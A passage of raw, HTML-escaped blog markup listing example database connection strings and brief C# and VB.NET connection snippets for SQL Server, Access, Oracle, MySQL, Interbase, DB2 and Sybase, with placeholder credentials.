/&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Enabling MARS (multiple active result sets):&lt;br /&gt;&lt;/strong&gt;"Server=Aron1;Database=pubs;&lt;br /&gt;Trusted_Connection=True;MultipleActiveResultSets=true"&lt;br /&gt;&lt;br /&gt;Note! Use ADO.NET 2.0 for MARS functionality.&lt;br /&gt;MARS is not supported in ADO.NET 1.0 nor ADO.NET 1.1&lt;br /&gt;&lt;a href="http://www.devx.com/dbzone/Article/30132"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Streamline your Data Connections by Moving to MARS, by Laurence Moroney, DevX.com &gt;&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Attach a database file on connect to a local&lt;br /&gt;SQL Server Express instance:&lt;br /&gt;&lt;/strong&gt;"Server=.\SQLExpress;&lt;br /&gt;AttachDbFilename=c:\asd\qwe\mydbfile.mdf;&lt;br /&gt;Database=dbname;&lt;br /&gt;Trusted_Connection=Yes;"&lt;br /&gt;- or -&lt;br /&gt;"Server=.\SQLExpress;&lt;br /&gt;AttachDbFilename=DataDirectorymydbfile.mdf;&lt;br /&gt;Database=dbname;&lt;br /&gt;Trusted_Connection=Yes;"&lt;br /&gt;&lt;br /&gt;(use DataDirectory when your database file resides in the data directory)&lt;br /&gt;Why is the "Database" parameter needed?&lt;br /&gt;Answer: If the database was previously attached,&lt;br /&gt;SQL Server does not reattach it (&lt;br /&gt;it uses the attached database as the default for the connection).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Using "User Instance" on a local SQL Server Express instance:&lt;br /&gt;&lt;/strong&gt;"Data Source=.\SQLExpress;integrated security=true;&lt;br /&gt;attachdbfilename=DataDirectory\mydb.mdf;user instance=true;"&lt;br /&gt;&lt;br /&gt;The "User Instance" functionality creates a new SQL Server&lt;br /&gt;instance on the fly during connect. This works only on a local SQL Server 2005&lt;br /&gt;instance and only when connecting using windows authentication over local named pipes.&lt;br /&gt;The purpose is to be able to create a full rights SQL Server instance to a user&lt;br /&gt;with limited administrative rights on the computer.&lt;br /&gt;To enable the functionality: sp_configure 'user instances enabled','1' (0 to disable)&lt;br /&gt;Using SQL Server 2005 Express? Don't miss the server name syntax:&lt;br /&gt;SERVERNAME\SQLEXPRESS (Substitute "SERVERNAME" with the name of the computer)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;Context Connection - connecting to "self" from within your&lt;br /&gt;CLR stored prodedure/function&lt;br /&gt;&lt;/span&gt;C#:&lt;/strong&gt;&lt;br /&gt;using(SqlConnection connection = new SqlConnection("context connection=true"))&lt;br /&gt;{ connection.Open();&lt;br /&gt;// Use the connection&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Visual Basic:&lt;/strong&gt;&lt;br /&gt;Using connection as new SqlConnection("context connection=true")&lt;br /&gt;connection.Open() ' Use the connection&lt;br /&gt;End Using&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;em&gt;The context connection lets you execute Transact-SQL statements&lt;br /&gt;in the same context (connection) that your code was invoked in the first place.&lt;/em&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-family:trebuchet ms;" &gt;&lt;strong&gt;3. Access&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC&lt;br /&gt;&lt;/span&gt;Standard Security:&lt;/strong&gt;&lt;br /&gt;"Driver={Microsoft Access Driver (*.mdb)};&lt;br /&gt;Dbq=C:\mydatabase.mdb;Uid=Admin;Pwd=;"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Workgroup:&lt;/strong&gt;&lt;br /&gt;"Driver={Microsoft Access Driver (*.mdb)};&lt;br /&gt;Dbq=C:\mydatabase.mdb;SystemDB=C:\mydatabase.mdw;"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Exclusive:&lt;br /&gt;&lt;/strong&gt;"Driver={Microsoft Access Driver (*.mdb)};&lt;br /&gt;Dbq=C:\mydatabase.mdb;Exclusive=1;Uid=admin;Pwd=" &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OLE DB, OleDbConnection (.NET)&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;Standard security:&lt;/strong&gt;&lt;br /&gt;"Provider=Microsoft.Jet.OLEDB.4.0;&lt;br /&gt;Data Source=\somepath\mydb.mdb;User Id=admin;Password=;"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Workgroup (system database):&lt;/strong&gt;&lt;br /&gt;"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\somepath\mydb.mdb;Jet OLEDB:System Database=system.mdw;"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;With password:&lt;/strong&gt;&lt;br /&gt;"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\somepath\mydb.mdb;Jet OLEDB:Database Password=MyDbPassword;"&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-family:trebuchet ms;" &gt;&lt;strong&gt;4. Oracle &lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC&lt;br /&gt;&lt;/span&gt;New version:&lt;/strong&gt;&lt;br /&gt;"Driver={Microsoft ODBC for Oracle};Server=OracleServer.world;&lt;br /&gt;Uid=Username;Pwd=asdasd;"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Old version:&lt;br /&gt;&lt;/strong&gt;"Driver={Microsoft ODBC Driver for Oracle};&lt;br /&gt;ConnectString=OracleServer.world;&lt;br /&gt;Uid=myUsername;Pwd=myPassword;" &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OLE DB, OleDbConnection (.NET)&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Standard security:&lt;br /&gt;&lt;/strong&gt;"Provider=msdaora;Data Source=MyOracleDB;User Id=UserName;Password=asdasd;"&lt;br /&gt;&lt;br /&gt;This one's from Microsoft, the following are from Oracle&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Standard Security:&lt;br /&gt;&lt;/strong&gt;"Provider=OraOLEDB.Oracle;Data Source=MyOracleDB;User Id=Username;Password=asdasd;"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Trusted Connection:&lt;br /&gt;&lt;/strong&gt;"Provider=OraOLEDB.Oracle;Data Source=MyOracleDB;OSAuthent=1;" &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OracleConnection (.NET)&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Standard:&lt;br /&gt;&lt;/strong&gt;"Data Source=MyOracleDB;Integrated Security=yes;"&lt;br /&gt;&lt;br /&gt;This one works only with Oracle 8i release 3 or later&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Specifying username and password:&lt;br /&gt;&lt;/strong&gt;"Data Source=MyOracleDB;User Id=username;Password=passwd;Integrated Security=no;"&lt;br /&gt;&lt;br /&gt;This one works only with Oracle 8i release 3 or later &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;Declare the OracleConnection:&lt;br /&gt;&lt;/span&gt;C#:&lt;br /&gt;&lt;/strong&gt;using System.Data.OracleClient;&lt;br /&gt;OracleConnection oOracleConn = new OracleConnection();&lt;br /&gt;oOracleConn.ConnectionString = "my connection string";&lt;br /&gt;oOracleConn.Open();&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;VB.NET:&lt;br /&gt;&lt;/strong&gt;Imports System.Data.OracleClient&lt;br /&gt;Dim oOracleConn As OracleConnection = New OracleConnection()&lt;br /&gt;OracleConn.ConnectionString = "my connection string"&lt;br /&gt;oOracleConn.Open()&lt;br /&gt;&lt;br /&gt;Missing the System.Data.OracleClient namespace? &lt;/span&gt;&lt;a href="http://www.microsoft.com/downloads/details.aspx?familyid=4f55d429-17dc-45ea-bfb3-076d1c052524&amp;amp;displaylang=en"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Download .NET Managed Provider for Oracle &gt;&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;Great article! &lt;/span&gt;&lt;a href="http://www.c-sharpcorner.com/Code/2004/Feb/ODP.NET02.asp"&gt;&lt;span style="font-family:trebuchet ms;"&gt;"Features of Oracle Data Provider for .NET"&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; by Rama Mohan G. at C# Corner&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;Core Labs OraDirect (.NET)&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Standard:&lt;br /&gt;&lt;/strong&gt;"User ID=scott; Password=tiger; Host=ora; Pooling=true; Min Pool Size=0;Max Pool Size=100; Connection Lifetime=0"&lt;br /&gt;&lt;br /&gt;Read more at &lt;/span&gt;&lt;a href="http://www.crlab.com/"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Core Lab&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; and the &lt;/span&gt;&lt;a href="http://www.crlab.com/oranet/"&gt;&lt;span style="font-family:trebuchet ms;"&gt;product page&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;Data Shape&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;MS Data Shape:&lt;br /&gt;&lt;/strong&gt;"Provider=MSDataShape.1;Persist Security Info=False;Data Provider=MSDAORA;Data Source=orac;user id=username;password=mypw" &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;strong&gt;5. MySQL&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;MyODBC&lt;br /&gt;&lt;/span&gt;MyODBC 2.50 Local database: &lt;/strong&gt;&lt;br /&gt;"Driver={mySQL};Server=localhost;&lt;br /&gt;Option=16834;Database=mydatabase;"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;MyODBC 2.50 Remote database:&lt;/strong&gt;&lt;br /&gt;"Driver={mySQL};Server=data.domain.com;&lt;br /&gt;Port=3306;Option=131072;Stmt=;&lt;br /&gt;Database=my-database;Uid=username;Pwd=password;"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;MyODBC 3.51 Local database:&lt;/strong&gt;&lt;br /&gt;"DRIVER={MySQL ODBC 3.51 Driver};&lt;br /&gt;SERVER=localhost;DATABASE=myDatabase;&lt;br /&gt;USER=myUsername;&lt;br /&gt;PASSWORD=myPassword;OPTION=3;"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;MyODBC 3.51 Remote database:&lt;/strong&gt;&lt;br /&gt;"DRIVER={MySQL ODBC 3.51 Driver};&lt;br /&gt;SERVER=data.domain.com;&lt;br /&gt;PORT=3306;DATABASE=myDatabase; USER=myUsername;PASSWORD=myPassword;OPTION=3;" &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OLE DB, OleDbConnection (.NET)&lt;br /&gt;&lt;/span&gt;Standard: &lt;/strong&gt;&lt;br /&gt;"Provider=MySQLProv;Data Source=mydb;&lt;br /&gt;User Id=UserName;Password=asdasd;"&lt;br /&gt;Connector/Net 1.0 (.NET)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Standard:&lt;br /&gt;&lt;/strong&gt;"Server=Server;Database=Test;Uid=UserName;Pwd=asdasd;"&lt;br /&gt;&lt;br /&gt;Download the driver at &lt;/span&gt;&lt;a href="http://dev.mysql.com/downloads/connector/net/"&gt;&lt;span style="font-family:trebuchet ms;"&gt;MySQL Developer Zone&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Specifying port:&lt;br /&gt;&lt;/strong&gt;"Server=Server;Port=1234;Database=Test;&lt;br /&gt;Uid=UserName;Pwd=asdasd;"&lt;br /&gt;&lt;br /&gt;Default port is 3306. Enter value -1 to use a named pipe connection.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style="font-family:trebuchet ms;"&gt;Declare the MySqlClient connection:&lt;br /&gt;&lt;/span&gt;&lt;u&gt;&lt;span style="font-family:trebuchet ms;"&gt;C#:&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/strong&gt;&lt;span style="font-family:trebuchet ms;"&gt;using MySql.Data.MySqlClient;&lt;br /&gt;MySqlConnection oMySqlConn = new MySqlConnection();&lt;br /&gt;oMySqlConn.ConnectionString = "Server=Server;Database=Test;Uid=UserName;Pwd=asdasd;";&lt;br /&gt;oMySqlConn.Open();&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;u&gt;VB.NET:&lt;br /&gt;&lt;/u&gt;&lt;/strong&gt;Imports MySql.Data.MySqlClient&lt;br /&gt;Dim oMySqlConn As MySqlConnection = New MySqlConnection()&lt;br /&gt;oMySqlConn.ConnectionString = "Server=Server;Database=Test;Uid=UserName;Pwd=asdasd;"&lt;br /&gt;oMySqlConn.Open() &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;MySqlConnection (.NET)&lt;br /&gt;&lt;/span&gt;eInfoDesigns.dbProvider:&lt;/strong&gt;&lt;br /&gt;"Data Source=server;Database=mydb;User ID=username;Password=pwd;Command Logging=false"&lt;br /&gt;&lt;br /&gt;This one is used with &lt;/span&gt;&lt;a href="http://www.einfodesigns.com/"&gt;&lt;span style="font-family:trebuchet ms;"&gt;eInfoDesigns&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; dbProvider, an add-on to .NET&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Declare the MySqlConnection:&lt;br /&gt;C#:&lt;br /&gt;&lt;/strong&gt;using eInfoDesigns.dbProvider.MySqlClient;&lt;br /&gt;MySqlConnection oMySqlConn = new MySqlConnection();&lt;br /&gt;oMySqlConn.ConnectionString = "my connection string";&lt;br /&gt;oMySqlConn.Open();&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;VB.NET:&lt;br /&gt;&lt;/strong&gt;Imports eInfoDesigns.dbProvider.MySqlClient&lt;br /&gt;Dim oMySqlConn As MySqlConnection = New MySqlConnection()&lt;br /&gt;oMySqlConn.ConnectionString = "my connection string"&lt;br /&gt;oMySqlConn.Open() &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;SevenObjects MySqlClient (.NET)&lt;br /&gt;&lt;/span&gt;Standard:&lt;/strong&gt;&lt;br /&gt;"Host=server; UserName=myusername; Password=mypassword;Database=mydb;"&lt;br /&gt;&lt;br /&gt;This is a freeware ADO.Net data provider from &lt;/span&gt;&lt;a href="http://www.sevenobjects.com/"&gt;&lt;span style="font-family:trebuchet ms;"&gt;SevenObjects&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;Core Labs MySQLDirect (.NET)&lt;br /&gt;&lt;/span&gt;Standard:&lt;br /&gt;&lt;/strong&gt;"User ID=root; Password=pwd; Host=localhost; Port=3306; Database=test;&lt;br /&gt;Direct=true; Protocol=TCP; Compress=false; Pooling=true; Min Pool Size=0;&lt;br /&gt;Max Pool Size=100; Connection Lifetime=0"&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 0, 0);font-family:trebuchet ms;" &gt;6.Interbase &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 51, 255);font-family:trebuchet ms;" &gt;ODBC, Easysoft&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;&lt;strong&gt;Local computer:&lt;/strong&gt;&lt;br /&gt;"Driver={Easysoft IB6 ODBC};&lt;br /&gt;Server=localhost;Database=localhost:C:\mydatabase.gdb;&lt;br /&gt;Uid=username;Pwd=password"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Remote Computer:&lt;/strong&gt;&lt;br /&gt;"Driver={Easysoft IB6 ODBC};&lt;br /&gt;Server=ComputerName;&lt;br /&gt;Database=ComputerName:C:\mydatabase.gdb;&lt;br /&gt;Uid=username;Pwd=password" &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC, Intersolv&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;Local computer:&lt;/strong&gt;&lt;br /&gt;"Driver={INTERSOLV InterBase ODBC Driver (*.gdb)};Server=localhost;Database=localhost:C:\mydatabase.gdb;&lt;br /&gt;Uid=username;Pwd=password"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Remote Computer:&lt;/strong&gt;&lt;br /&gt;"Driver={INTERSOLV InterBase ODBC Driver (*.gdb)};&lt;br /&gt;Server=ComputerName;&lt;br /&gt;Database=ComputerName:C:\mydatabase.gdb;&lt;br /&gt;Uid=username;Pwd=password"&lt;br /&gt;&lt;br /&gt;This driver are provided by &lt;/span&gt;&lt;a href="http://www.datadirect-technologies.com/"&gt;&lt;span style="font-family:trebuchet ms;"&gt;DataDirect Technologies &gt;&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; (formerly Intersolv) &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OLE DB, SIBPROvider&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;Standard:&lt;/strong&gt;&lt;br /&gt;"provider=sibprovider;location=localhost:;data source=c:\databases\gdbs\mygdb.gdb;user id=SYSDBA;password=masterkey"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Specifying character set:&lt;/strong&gt;&lt;br /&gt;"provider=sibprovider;location=localhost:;data source=c:\databases\gdbs\mygdb.gdb;user id=SYSDBA;password=masterkey;character set=ISO8859_1"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Specifying role:&lt;/strong&gt;&lt;br /&gt;"provider=sibprovider;location=localhost:;data source=c:\databases\gdbs\mygdb.gdb;user id=SYSDBA;password=masterkey;role=DIGITADORES"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="color: rgb(255, 0, 0);font-family:trebuchet ms;" &gt;&lt;strong&gt;7.IBM DB2 &lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OLE DB, OleDbConnection (.NET) from ms&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;TCP/IP:&lt;/strong&gt;&lt;br /&gt;"Provider=DB2OLEDB;Network Transport Library=TCPIP;Network Address=XXX.XXX.XXX.XXX;Initial Catalog=MyCtlg;Package Collection=MyPkgCol;Default Schema=Schema;&lt;br /&gt;User ID=MyUser;Password=MyPW"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;APPC:&lt;/strong&gt;&lt;br /&gt;"Provider=DB2OLEDB;APPC Local LU Alias=MyAlias;APPC Remote LU Alias=MyRemote;Initial Catalog=MyCtlg;Package Collection=MyPkgCol;Default Schema=Schema;&lt;br /&gt;User ID=MyUser;Password=MyPW" &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;IBM's OLE DB Provider (shipped with IBM DB2 UDB v7 or above)&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;TCP/IP:&lt;/strong&gt;&lt;br /&gt;Provider=IBMDADB2;Database=sample;HOSTNAME=db2host;&lt;br /&gt;PROTOCOL=TCPIP;&lt;br /&gt;PORT=50000;uid=myUserName;pwd=myPwd;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC &lt;/span&gt;&lt;br /&gt;Standard:&lt;/strong&gt;&lt;br /&gt;"driver={IBM DB2 ODBC DRIVER};Database=myDbName;hostname=myServerName;&lt;br /&gt;port=myPortNum;protocol=TCPIP;&lt;br /&gt;uid=myUserName; pwd=myPwd"&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: rgb(255, 0, 0);font-family:trebuchet ms;" &gt;8.Sybase &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;ODBC&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;Standard Sybase System 12 Enterprise Open Client:&lt;/strong&gt;&lt;br /&gt;"Driver={SYBASE ASE ODBC Driver};Srvr=Aron1;Uid=username;Pwd=password"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Standard Sybase System 12.5 Enterprise Open Client:&lt;/strong&gt;&lt;br /&gt;"Driver={SYBASE ASE ODBC Driver};NA=HOSTNAME,PORT_NUMBER;&lt;br /&gt;UID=username;PWD=password"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Standard Sybase System 11:&lt;/strong&gt;&lt;br /&gt;"Driver={SYBASE SYSTEM 11};Srvr=Aron1;Uid=username;Pwd=password;Database=mydb"&lt;br /&gt;&lt;br /&gt;For more information check out the &lt;/span&gt;&lt;a href="http://sybooks.sybase.com/nav/summary.do?prod=9938&amp;amp;lang=en&amp;amp;prodName=Adaptive+Server+Enterprise&amp;amp;archive=0&amp;amp;Submit.x=13&amp;amp;Submit.y=7"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Adaptive Server Enterprise Document Sets&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;Intersolv 3.10:&lt;br /&gt;&lt;/strong&gt;"Driver={INTERSOLV 3.10 32-BIT Sybase};Srvr=Aron1;Uid=username;Pwd=password;"&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Sybase SQL Anywhere (former Watcom SQL ODBC driver):&lt;/strong&gt;&lt;br /&gt;"ODBC; Driver=Sybase SQL Anywhere 5.0;&lt;br /&gt;DefaultDir=c:\dbfolder\;Dbf=c:\mydatabase.db;&lt;br /&gt;Uid=username;Pwd=password;Dsn="""""&lt;br /&gt;&lt;br /&gt;Note! The two double quota ("") following the DSN parameter at&lt;br /&gt;the end are escaped quotas (VB syntax),&lt;br /&gt;you may have to change this to your&lt;br /&gt;language specific escape syntax (\") or maybe single quota (').&lt;br /&gt;The empty DSN parameter is indeed critical as not including it will result in error 7778.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;OLE DB&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;Adaptive Server Anywhere (ASA):&lt;/strong&gt;&lt;br /&gt;"Provider=ASAProv;Data source=myASA"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://sybooks.sybase.com/onlinebooks/group-sasarc/awg0702e/dbugen7"&gt;&lt;span 